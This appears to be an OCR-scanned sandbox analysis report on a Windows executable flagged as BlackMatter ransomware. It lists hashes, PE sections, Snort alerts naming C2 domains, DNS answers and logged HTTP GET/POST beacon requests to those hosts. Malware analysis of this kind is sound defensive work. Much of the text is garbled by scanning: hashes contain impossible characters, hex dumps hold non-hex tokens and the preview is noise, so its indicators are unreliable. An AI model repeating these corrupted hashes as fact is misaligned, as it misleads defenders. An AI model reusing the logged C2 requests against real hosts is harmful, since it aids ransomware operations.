Entropy (8bit):  7.856370724479703

Encrypted: false

SSDEEP: 24:5PNvdFgzTCTz6QckO9a7Nu/hYK5qGH1pENWJIbvJuXjZNUEsg:5PNVF2guQckr7EaeEnclP
MD5: DASEBC50B69A7AA447F66738C08C52E2

SHAL: 6865F466C5CD572AA4EC5F8EB956DF94C964D776

SHA-256: 5AC3268B1AA076540A5C3188DD13D0ODF33AEO00D9ABBEODDO0862F66310BD829C8
SHA-512: D76B7B52456AD458F0D9A39580A20438FFB5D1FFEO6E9F072FDEF36647862B50CBB70EC64507D9D7630FAB57A30EAO03DEF32AB5F3DCCC83391857C19324659F
Malicious: false

Preview:

.h3..pkiYL.o# =0 1N} B, #.gW.5+.V.*M.dew....qj}/
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[dedepG.( i . SELON..V..1..C...SS" V...[E."....SZ.W. tq..hB....ly..&[.2.N..LJ .E,...C)/.Z.. tFM(9&...<=............g.0.>2. ... DYL*8z..h}.,.. IXN.[$9.. A........M.h...C [....5...]
32 @ Por1.32). X SP... GV QT >M3. . {$. 44 C & SN..O . 2> VKU W W[ 18V oy | @20 0.5 PT& WVE L #.2. T...) L4 F.
2.9.5>VT8...UAT.&. .KW..~.%=EA .G.KL ). &Y. +.~G...kh.._]L..(.0g..9C..... 20 F... %o 5. Foo <Ll S\ .4 (0

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 6.960122484094687
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General

TriD: e Win32 Executable (generic) a (10002005/4)
99.94%
e Win16/32 Executable Delphi generic (2074/23)
0.02%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: GILHM7paoZ.exe
File size: 68608
MD5: 598c53bfef81e489375f09792e487fla
SHA1: 80a29bd2c349a8588edf42653ed739054f9a10f5
SHA256: 22d7d67c3afl0bla37f277ebabe2dleb4fd25afbd6437d4
377400e148bcc08d6
SHA512: 6a82ad5009588d2fa343bef8d9d2a02e2e76eec1497948]
a929a96a6b6965e82265a69ef8dd29a01927e9713468de
3aedd7b5ee5e79839a1a50649855a160c35
SSDEEP: 1536:RzICS4AT6GxdEe+TOdincIXvKv8Zg3kl:gR7audX
Skzg3C
File Content Preview: MZ..oooiiiiiiieiienn, @ .o L.LITh
is program cannot be run in DOS mode....$.
F e v @
@
File Icon

Icon Hash: 00828e8e8686b000
Static PE Info

General

Entrypoint: 0x40e8d5
Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000
Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:
TLS Callbacks:

CLR (.Net) Version:

0x60FB2BC6 [Fri Jul 23 20:51:18 2021 UTC]

OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

Ll ) B @) B e |

Subsystem Version Minor:
Import Hash: ¢c94b1566bf307396953c849ef18f9857
Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 Oxdal4 0xdc00 False 0.511150568182 data 6.78775755783 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rdata 0xf000 0x3d0 0x400 False 0.5361328125 data 4.45330581288 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

.data 0x10000 0x15ec 0x1000 False 0.881103515625 data 7.59149156952 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0x12000 Oxda7 0xe00 False 0.990792410714 data 7.90733617332 IMAGE_SCN_CNT_INITIALIZED_DA

TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
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Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
.reloc 0x13000 0x8fc 0xa00 False 0.78671875 data 6.42515500113 IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ
Imports
Network Behavior
Snort IDS Alerts
Source Dest
Timestamp Protocol SID Message Port Port Source IP  Dest IP
10/24/21- UDP 2033635 ET TROJAN BlackMatter CnC Domain in DNS Lookup (paymenthacks .com) 51143 53 192.168.2.3 8.8.8.8
09:21:22.789914
10/24/21- UDP 2033635 ET TROJAN BlackMatter CnC Domain in DNS Lookup (paymenthacks .com) 56009 53 192.168.2.3 8.8.8.8
09:21:24.275671
10/24/21- UDP 2033636 ET TROJAN BlackMatter CnC Domain in DNS Lookup (mojobiden .com) 59026 53 192.168.2.3 8.8.8.8
09:21:25.235353
10/24/21- UDP 2033636 ET TROJAN BlackMatter CnC Domain in DNS Lookup (mojobiden .com) 49572 53 192.168.2.3 8.8.8.8
09:21:25.279379
10/24/21- UDP 2033636 ET TROJAN BlackMatter CnC Domain in DNS Lookup (mojobiden .com) 52130 53 192.168.2.3 8.8.8.8
09:22:00.454506
10/24/21- UDP 2033636 ET TROJAN BlackMatter CnC Domain in DNS Lookup (mojobiden .com) 55102 53 192.168.2.3 8.8.8.8
09:22:00.484365
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Oct 24, 2021 09:21:22.789913893 CEST 192.168.2.3 8.8.8.8 0x9d0 Standard query  paymenthac A (IP address) IN (0x0001)
(0) ks.com
Oct 24, 2021 09:21:24.275671005 CEST 192.168.2.3 8.8.8.8 Ox6ddc Standard query  ww25.payme A (IP address) IN (0x0001)
0) nthacks.com
Oct 24, 2021 09:21:25.235352993 CEST 192.168.2.3 8.8.8.8 0xf7f6 Standard query ~ mojobiden.com A (IP address) IN (0x0001)
(©)
Oct 24, 2021 09:21:25.279378891 CEST 192.168.2.3 8.8.8.8 Ox7af9 Standard query  mojobiden.com A (IP address) IN (0x0001)
(©)
Oct 24, 2021 09:22:00.454505920 CEST 192.168.2.3 8.8.8.8 0x919a Standard query ~ mojobiden.com A (IP address) IN (0x0001)
)
Oct 24, 2021 09:22:00.484364986 CEST 192.168.2.3 8.8.8.8 0Oxch26 Standard query ~ mojobiden.com A (IP address) IN (0x0001)
0
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Oct 24, 2021 8.8.8.8 192.168.2.3 0x9d0 No error (0) paymenthac 103.224.212.222 A (IP address) IN (0x0001)
09:21:22.970902920 ks.com
CEST
Oct 24, 2021 8.8.8.8 192.168.2.3 0x6ddc No error (0) ww25.payme 77026.bodis.com CNAME IN (0x0001)
09:21:24.443306923 nthacks.com (Canonical name)
CEST
Oct 24, 2021 8.8.8.8 192.168.2.3 0x6ddc No error (0) 77026.bodis.com 199.59.242.153 A (IP address) IN (0x0001)
09:21:24.443306923
CEST
Oct 24, 2021 8.8.8.8 192.168.2.3 Oxf7f6 Name error (3)  mojobiden.com  none none A (IP address) IN (0x0001)
09:21:25.268589973
CEST
Oct 24, 2021 8.8.8.8 192.168.2.3 0x7af9 Name error (3)  mojobiden.com  none none A (IP address) IN (0x0001)
09:21:25.306806087
CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 24, 2021 8.8.8.8 192.168.2.3 0x919a Name error (3)  mojobiden.com  none none A (IP address) IN (0x0001)
09:22:00.476039886

CEST

Oct 24, 2021 8.8.8.8 192.168.2.3 0Oxcb26 Name error (3)  mojobiden.com  none none A (IP address) IN (0x0001)

09:22:00.505224943
CEST

HTTP Request Dependency Graph

e paymenthacks.com

e ww25.paymenthacks.com

HTTP Packets

Session ID

0

Timestamp

Session ID

1

Timestamp

Session ID

2

Timestamp

Oct 24, 2021
09:21:24.546015024 CEST

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

1055

Copyright Joe Security LLC 2021

Source Port

49755

Direction

Source Port

49761

Direction

Source Port

49756

Direction
ouT

Destination IP Destination Port Process

103.224.212.222 443 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

Destination IP Destination Port Process

103.224.212.222 443 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

Destination IP Destination Port Process

199.59.242.153 80 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

GET /2ztYdx0Q=9Jh2L4nBPBJechaF7&alLz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3fju3=Sk
xeAp3EGyy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&IzLC=HEaimaSUBS3zw0OnFsZL&MNg=HhbZ
8eK&subid1=20211024-1821-244d-afd2-7f2406ac953a HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

User-Agent: Chrome/91.0.4472.77

Cache-Control: no-cache

Host: ww25.paymenthacks.com

Cookie: __tad=1635060084.7055840
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kBytes
Timestamp transferred

Oct 24, 2021 1056
09:21:24.646745920 CEST

Session ID Source IP
3 192.168.2.3

kBytes
Timestamp transferred
Oct 24, 2021 1058

09:21:24.826802969 CEST

Oct 24, 2021 1060
09:21:25.024322987 CEST

Session ID Source IP
4 192.168.2.3

kBytes
Timestamp transferred
Oct 24, 2021 1060

09:21:25.126843929 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49757

Direction

ouT

Source Port
49758

Direction

ouT

Data

HTTP/1.1 200 OK

Server: openresty

Date: Sun, 24 Oct 2021 07:21:24 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: parking_session=68cbdd23-a819-2e99-a6ef-bf6 1faaacfaf; expires=Sun, 24-Oct-2021 07:36:24 GMT; Max-A
ge=900; path=/; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJBANDrp2lz7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580Y
OelLb3vBw7J6f4pamkAQVSQuqgYsKx3YzdUHCvbVZvFUsCAWEAAQ==_Cdok4ScyBa+/aYmDUVkZ0OfEf9O+HjISrMjDd
WvbxkuLSscoGW/4w7hEvNWA4M6vmeyFF5TBYRUU/wLEkanH+IHQ==

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-store, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

Data Raw: 35 35 30 0d Oa 1f 8b 08 00 00 00 00 00 04 03 9d 55 5d 93 a2 46 14 fd 2b c6 97 3c 6¢ 66 44 d0 d9 31 19 a7 Oa
4510 d6 c6 01 81 b6 fb 25 d5 34 28 cd 7 0a da c2 af 4f 33 b3 49 b6 92 54 aa 92 17 aa 9a 7b ee b9 e7 e db 1f 2f 3f 44 15
6d bb 3a 1e 25 6d 91 bf be Oc df 51 4e ca f3 72 1c 97 €3 51 44 5a f2 40 a2 30 af 68 96 c5 dd 72 Oc 74 ce 35 07 59 5f 2a 6¢
26 37 6a ab ce 66 b5 72 54 ed c0 55 7e 50 ad 95 6a 6b 97 5a ce fb cf ea be 50 35 62 3f b7 ea 5¢c da 35 90 a6 3b bd 73 74
la 4e de 64 ef 4e e7 cf 15 da c7 e6 2e 54 6e 2b fe d9 7a 3a cd 6a 52 64 aa 13 1c 9c eb 57 d4 7c b9 2b a8 8f fc ed fa 16 06
f8 a6 fb cd 5a e5 1b 55 75 96 cb 5f d7 51 95 cd Oe b4 5b 91 4f 13 82 0a cd 0f 32 2¢ 9d 36 a7 c5 fe d3 36 cd Of 17 90 6a 11
bc 85 f7 ec ba 3b 34 b4 32 €0 64 c6 3f 27 9b 9b 0d 67 €0 €9 56 ¢4 9d ae cf bd 15 72 7d 7f c2 77 9b 8c 94 db 4f e6 56 10
8f 45 ef 31 89 5e 5f 8a b8 25 23 9a 90 4b 13 b7 cb f1 b5 3d 3d 3c 8b d8 fb df 92 14 f1 72 7c 63 31 af ab 4b 3b 1e d1 aa 6¢
e3 52 a0 38 8b da 64 19 c5 37 46 e3 87 7 ¢5 4f 23 56 b2 96 91 fc al al 24 8f 97 53 c1 91 b3 32 1b 5d e2 7c¢ 39 6e 12 91
4f af ed 88 09 8a f1 28 b9 c4 a7 e5 78 72 22 22 bf 2a 1f ¢5 67 3c 1a 66 b2 1c b3 82 9c e3 c9 fd el 1d 37 f9 9e a2 be c4 02
5b c6 54 e8 f8 c8 4f da b6 6e 7e 9e 4c 38 e7 8f e7 aa 3a e7 f1 23 ad 0a al f2 52 35 4d 75 61 67 56 7e 4f 10 95 cd 83 20 39
c5 2d 4d fe 4a 51 93 4b c6 ca f3 63 58 45 ac al 51 f9 bf 89 4e c2 al e6 9b 1a 52 b3 e6 1f 88 26 1f b6 8b 52 dd eb 4b c4 6e
2316 2d c7 2d b9 9c 63 d1 59 d3 76 c2 bc 1f ab 9a 50 d6 76 3f 8f a4 1f 5f 5f 26 02 f4 fa d2 dO Ob ab db 57 ce ca a8 e2 8f
83 e0d1 72 34 8e 3b 6b lacl 3c 33 d3 8a d9 69 92 a2 c2 cd 40 Oa 5a e4 9d ef fb 83 d4 61 2f 9b ef €0 46 c6 10 b5 a8 40
3280384150 4f71al 1726 e38c la7a89 838544 03417 1c 77 3b 05 53 a0 21 Oe b4 b3 b4 5b 5b 1c c1 28 3f 2a 41
17 ae cd 27 b3

Data Ascii: 550U]F+<IfD1E%4(O03IT{/?Dm:%mQNrQDZ@0hrt5Y_*I&7jfrTU~PjkZP5b?\5;stNdN.Tn+z:jRdW|+ZUu_Q[02
,66];42d?'gVIIWOVE1"_%#K==<r|c1K;IR8d7FO#V$S2]|9nO(xr"*g<f7[TONn~L8:#R5MuagV~0 9-MIQKcXEQNR&RKn#--cY
VPV?__&Wr4;k<3i@Za/F@28AP0Oq&zDAw;S![[(?*A'

Destination IP Destination Port Process

103.224.212.222 80 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

POST /?ztYdx0Q=9Jh2L4nBPBJechaF7&alLz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mI3fju3=S
kxeAp3EGyy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&lzL C=HEaimaSUBS3zwOnFsZL&MNg=HhbZ8eK
HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

Content-Type: text/plain

User-Agent: Chrome/91.0.4472.77

Host: paymenthacks.com

Content-Length: 816

Cache-Control: no-cache

Cookie: __tad=1635060084.7055840

HTTP/1.1 302 Found

Date: Sun, 24 Oct 2021 07:21:24 GMT

Server: Apache/2.4.25 (Debian)

Location: http://ww25.paymenthacks.com/?ztYdx0Q=9Jh2L4nBPBJechaF7&al z8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG
3=ma06bGG6LAg&mMI3fjud=SkxeAp3EGYy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&lzLC=HEai
maSUBS3zw0nFsZL&MNg=HhbZ8eK&subid1=20211024-1821-245b-b16a-e897805eb3ba

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

199.59.242.153 80 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

GET /?ztYdx0Q=9Jh2L4nBPBJechaF7&al z8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mI3fju3=Sk
xeAp3EGyy3E&fGep=0079la8IfpgF2P{&Ktpuhpgn=2pQNXS3RarpD2S&lzLC=HEaimaSUBS3zwOnFsZL&MNg=HhbZ
8eK&subid1=20211024-1821-245b-b16a-e897805eb3ba HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

User-Agent: Chrome/91.0.4472.77

Cache-Control: no-cache

Host: ww25.paymenthacks.com

Cookie: _ tad=1635060084.7055840; parking_session=68cbdd23-a819-2e99-a6ef-bf6 1faaacfaf
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kBytes
Timestamp transferred

Oct 24, 2021 1062
09:21:25.227586985 CEST

Session ID Source IP
5 192.168.2.3

kBytes
Timestamp transferred
Oct 24, 2021 1281

09:21:59.756165028 CEST
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Direction

IN

Source Port

49762

Direction

ouT

Data

HTTP/1.1 200 OK

Server: openresty

Date: Sun, 24 Oct 2021 07:21:25 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: parking_session=68cbdd23-a819-2e99-a6ef-bf6 1faaacfaf; expires=Sun, 24-Oct-2021 07:36:25 GMT; Max-A
ge=900; path=/; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJBANDrp2lz7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580Y
OelLb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUSCAWEAAQ==_palJ6X4leXQ++TI8VSiIXUN4LgtLs8DD4m+6
UsZSpA+VOvbwGrCnKEf/HY8WwvsugFrueGoAFAW6Ub4iCnOkBA==

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-store, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

Data Raw: 35 36 62 0d Oa 1f 8b 08 00 00 00 00 00 04 03 9d 56 5d 93 a2 4a 12 fd 2b 5e 5f ee c3 dc 6e 11 d4 d1 bb 6d 47
a0 08 42 53 d8 28 50 50 2f 37 8a 82 96 €2 7b 04 2d el d7 6f 61 cf ee 4e cc 6e 6¢ c4 dc 17 22 20 33 4f 9e 3c 99 59 c5 cb 6f
51 45 da ae 8e 47 49 5b e4 af 2f ¢3 73 94 e3 f2 bc 1e c7 €5 78 14 el 16 3f el 28 cc 2b 92 65 71 b7 1e 03 95 31 c5 Oe 8¢
b7 0a e9 c9 8d 58 b2 bd db 6c 6¢ 59 39 31 99 9d 64 63 23 5b ca a5 16 f3 fe ab 7c 28 64 05 5b cb 56 9e Ob 66 03 49 6a aa
9d ad 92 70 f2 2e 3a 77 32 5f 56 c1 21 d6 cd 50 ba 6d d8 57 63 f1 31 ab 71 91 c9 b6 77 b2 af df 82 e6 ed 2e 05 7d e4 ee
b7 b7 d0 43 37 d5 6d b6 32 db c9 b2 bd 5e ff 55 e3 a9 b1 f0 67 7a ec db 5f be 38 f9 d2 3b 51 dd 77 ad 99 79 6e cd 66 a9
28 b3 e2 cb c2 6d dO a9 96 bf 78 c2 2d 64 da 65 5b be ed 3e 26 fb 60 09 d9 ad b9 9e d5 cb 35 d6 2a 59 9d c1 85 1b ce e8
b6 14 b2 8d bc 5e 8f 79 ed 31 8e 5e 5f 8a b8 c5 23 92 e0 4b 13 b7 eb f1 b5 fd 78 5a 72 db €3 6b 89 8b 78 3d be d1 98 d5
d5 a5 1d 8f 48 55 b6 71 c9 bd 18 8d da 64 1d c5 37 4a e2 a7 c7 ch 1f 23 5a d2 96 e2 fc a9 21 38 8f d7 53 8e 91 d3 32 1b
5d e2 7c 3d 6e 12 1e 4f ae ed 88 72 88 f1 28 b9 c4 1f eb f1 e4 03 f3 f8 aa 7c €6 8f f1 68 €8 c9 7a 4c Ob 7c 8e 27 {7 a7 87
df e4 47 88 fa 12 73 df 32 26 9c ¢7 67 7c d2 b6 75 f3 €7 64 c2 18 7b 3e 57 d5 39 8f 9f 49 55 70 96 97 aa 69 aa Ob 3d d3 f2
47 80 a8 6¢ 9e 38 c8 47 dc 92 e4 67 88 1a 5f 32 5a 9e 9f c3 2a a2 0d 89 ca bf 0d f4 c1 15 6a be b3 c1 35 6d fe 07 dO e4
53 76 9e aa 7b 7d 89 e8 6d 44 a3 f5 b8 c5 97 73 cc 2b 6b da 8e 8b 7 7b 55 63 42 db ee cf 91 fO fb eb cb 84 3b bd be 34
e4 42 eb 6 95 d1 32 aa d8 f3 40 78 b4 1e 8d e3 ce 98 46 30 cf f4 b4 a2 56 9a a4 41 71 cc 40 Oa da c0 39 df 0f 27 al 43
4e 36 37 el 4e 44 30 68 83 22 10 01 44 49 00 d5 14 15 6a al 53 46 89 a6 96 c8 5b 09 18 4e 73 8e 71 b7 52 30 05 4a c0
80 72 9e 9a 5b 83 05 30 ca 7d c9 eb

Data Ascii: 56bV]J+*_nmGBS(PP/7{-oaNnl" 30<Y0oQEGI[/sx?(+eqlXIlY91ldc#[|(d[Vfljp..w2_V!IPmWclqw.}C7m2~U
9z_8;Qwynf(mx-de[>& 5*Y y1” #KxZrkx=HUqd7J#Z!8S2]|=nOr(|hzL|'Gs2&g|ud{>W9IUpi=GI8Gg_2Z*5mSv{}mDs~+k{
UcB;4B2@xFOVAq@9'CN67NDOh"DIjSF[NsqROJr[0}

Destination IP Destination Port Process

199.59.242.153 80 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

GET /?2wFdsAo=m8SxzzJYA8Cye0Zulp&Ilu7qt4s=9vaqCklU&POrY85r3g=3yWBtmW9ThsVHLPVT&NIzLa=KKD&Ww
7uium=7kQVIcMRI0Iz9z F5N&EQj3TrEzg=uXPRgqL6AtYMT&jOg2Kg=KbU1&0Jqem=QGXs&Thxw591w=7AzVv38Ty&
3Kwha=7J4&3JE702D5H=wVwWVW&xj6Km=elvB77L1DiRICecfvT&rn2cJrZbK=y6u&WI1Wj=VXI8HkHvD8h6WgygV&|
iC4AMKI=PC3nWpKyNJUHfNNY&YdDNI5U=qZiZI0BeoLfimdx&DjiEcu=20b4Hh8Ch5v&tz2REARJI=zwNqtxhKtQaEpG
WtM&subid1=20211024-1821-5994-88c3-3f09ef5a5¢59 HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

User-Agent: AppleWebKit/587.38 (KHTML, like Gecko)

Cache-Control: no-cache

Host: ww25.paymenthacks.com

Cookie: _ tad=1635060084.7055840; parking_session=68chdd23-a819-2e99-a6ef-bf6 1faaacfaf
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kBytes
Timestamp transferred

Oct 24, 2021 1283
09:21:59.857633114 CEST

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Oct 24, 2021 1285

09:22:00.032787085 CEST

Oct 24, 2021 1286
09:22:00.210882902 CEST

Session ID Source IP

7 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49763

Direction

ouT

Source Port
49764

Direction

Data

HTTP/1.1 200 OK

Server: openresty

Date: Sun, 24 Oct 2021 07:21:59 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: parking_session=68cbdd23-a819-2e99-a6ef-bf6 1faaacfaf; expires=Sun, 24-Oct-2021 07:36:59 GMT; Max-A
ge=900; path=/; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJBANDrp2lz7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580Y
OelLb3vBw7J6f4pamkAQVSQuqgYsKx3YzdUHCvbVZvFUsCAWEAAQ==_FzNJiH/470l1a90+V7ByX1Xtv+mtjlPQZd4bE
SKDtOgAQBMOZIILK5+9mBE+JEjdray1HZKGX4eJ2B5pFVIHVQA==

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-store, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

Data Raw: 36 66 36 0d Oa 1f 8b 08 00 00 00 00 00 04 03 9d 56 db 76 a3 3a 12 fd 15 8f 5f ce 43 4f 62 c0 26 dd 3e 13 67 2d
5f c0 86 80 08 37 01 7a 99 85 25 62 2e 12 d0 06 1b c3 d7 1f el 64 7a b2 66 ce 99 87 79 61 81 a8 da b5 ab b4 55 a5 e7 bf
91 0a b7 7d 9d 4c d2 96 d1 97 e7 f1 39 al 71 79 5a 4d 93 72 3a 21 71 1b 3f c4 e4 48 2b 5¢ 14 49 bf 9a 9a 6a d7 ed ec 48
7f ad 90 96 5e 31 58 db ca 66 63 af 77 6e b7 ee dc b5 be 59 83 dd b9 96 e8 f0 7d 6d bl f5 2e 06 3f da b5 2c 18 4d 80 73
43 ed 6d 15 1f 67 6f 92 77 c3 f2 8f 2a b2 12 cd 38 ce af 9b ee bb fe f4 be a8 63 56 ac 6d €8 da 97 9f 51 f3 7a 9b 47 03 f1 0f
db eb 11 a2 ab ea 37 db 75 a7 ac d7 6 6a f5 4f 75 00 7a 76 98 2d be Ob 34 5e 5a df e0 7 4d 1f 8a 61 7b fd c6 da 9c be d9
88 2c 8e 8a fb ba 6b ad d3 da de 30 Ob 51 dd 78 95 bf 2d d9 0f e5 9b ae e4 e4 1c 7 e2 01 bd ee ¢3 45 a2 4b 1b b9 56 21
3d 40 7b bd 5a 4d 79 ee 49 4c 5e 9e 59 d2 c6 13 9c c6 e7 26 69 57 d3 4b fb fe fO 83 ff bb af 96 31 4b 56 d3 6b 96 74 75
75 6e a7 13 5¢ 95 6d 52 72 ab 2e 23 6d ba 22 ¢9 35 ¢3 c9 c3 fd e3 ef 93 ac cc da 2c a6 0f 0d 8e 69 b2 12 39 06 cd ca 62
72 4e e8 6a da a4 dc 1f 5f da 49 c6 21 a6 93 f4 9c bc af a6 b3 {7 98 fb 57 e5 23 7f 4c 27 e3 9e ac a6 19 8b 4f c9 ec f6 70
b7 9b 7d 85 a8 cf 09 b7 2d 13 cc 79 7c f8 a7 6d 5b 37 bf cf 66 5d d7 3d 9e aa ea 44 93 47 5¢ 31 ce f2 5¢ 35 4d 75 ce 4e
59 f9 15 80 94 cd 03 07 79 4f 5a 9c fe 27 44 1d 9f 8b ac 3c 3d 1e 2b 92 35 98 94 ff 37 d0 3b af 50 f3 c9 26 ae b3 e6 4f 80
66 1f 65 e7 al fa 97 67 92 5d 27 19 59 4d db f8 7c 4a 78 66 4d db f3 e2 fd 56 d5 31 ce da fe 7 89 fO db cb f3 8¢ 1b bd 3¢ 3
7 f8 9c d5 ed 4b 97 95 a4 ea 1e 47 c2 93 d5 64 9a f4 ba 48 02 5a 68 79 95 81 3c cd 23 e6 14 66 6e b6 91 77 ba 59 ae d0O
23 af 90 8d 40 91 50 10 b5 11 8b 24 33 40 69 14 a8 39 62 2a d3 b2 2e ¢3 7b b5 44 70 29 c4 81 48 39 c6 0d e4 a6 68 ee
a2 ce f4 14 d9 d8 ea 5d

Data Ascii: 6f6Vv:_COb&>g-_7z%b.dzfyaU}L9qyZMr:!q?H+\ljH 1 XfcwnY}m.?,MsCmgow*8cVmQzG7ujOuzv-4"ZMaf k
0Qx-EKV!=@{ZMyIL"Y &WK1KVktuun\mRr.#m"5,i9brNj_I!W#L'Op}-y|m[7f]=DG\1\5MuNYyOZ'D<=+57;P&0Ofeg]'Y M|Ixf
MV1<7KGdHZhy<#nwY#@P$3@i9b*.{Dp)H9h]

Destination IP Destination Port Process

103.224.212.222 80 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

POST /?wFdsAo=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtmW9ThsVHLPVT&NIzLa=KKD&W
W7uium=7kQVIcMRI0IzZ9zF5N&EQj3TrEzg=uXPRgqLEAtVMT&jOg2Kq=KbU1&0Jqem=QGXs&Thxw591w=7AzVv38Ty
&3Kwha=7J4&3JE702D5H=wVwVW&xj6Km=elvB77L1DiRICecfvT&rn2cJrZbK=y6u&WI1Wj=VXI8HkHvD8h6WgygV&
JICAMKI=PC3nWpKyNJUHfNNY&YdDNI5U=gZiZI0BeoL fimdx&DjiEcu=20b4Hh8Ch5v&tz2REARJI=zwNqtxhKtQaEpGWtM
HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

Content-Type: text/plain

User-Agent: AppleWebKit/587.38 (KHTML, like Gecko)

Host: paymenthacks.com

Content-Length: 665

Cache-Control: no-cache

Cookie: __tad=1635060084.7055840

HTTP/1.1 302 Found

Date: Sun, 24 Oct 2021 07:22:00 GMT

Server: Apache/2.4.25 (Debian)

Location: http://ww25.paymenthacks.com/?wFdsAo=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtm
WOThsVHLPVT&NIzLa=KKD&Ww7uium=7kQVIcMRI0Iz9zF5N&EOj3TrEzg=uXPRgqLEAtVMT&jOg2Kg=KbU1&0OJgem=
QGXs&Thxw591w=7AzVv38Ty&3Kwha=7J4&3JE702D5H=wVwWVW&xj6Km=elvB77L1DiRICecfvT&rn2cIrZbK=y6u&wW
11Wj=VXI8HkHvD8h6WQgygV&|iC4MKI=PC3nWpKyNJUHfNNY&YdDNI5U=0ZiZI0BeoL fimdx&DjiEcu=20b4Hh8Ch5v
&tz2REARJ=zwNqtxhKtQaEpGWtM&subid1=20211024-1822-00f0-90ca-3541d116f917

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process
199.59.242.153 80 C:\Users\user\Desktop\GILHM7paoZ.exe

Data
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kBytes

Timestamp transferred

Oct 24, 2021 1287
09:22:00.313380003 CEST

Oct 24, 2021 1289
09:22:00.414448977 CEST

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.3
kBytes

Timestamp transferred

2021-10-24 07:21:23UTC 0

2021-10-24 07:21:23 UTC 0

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49755

Direction
ouT

ouT

Data

GET /?wFdsAo=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtmW9ThsVHLPVT&NIzLa=KKD&Ww
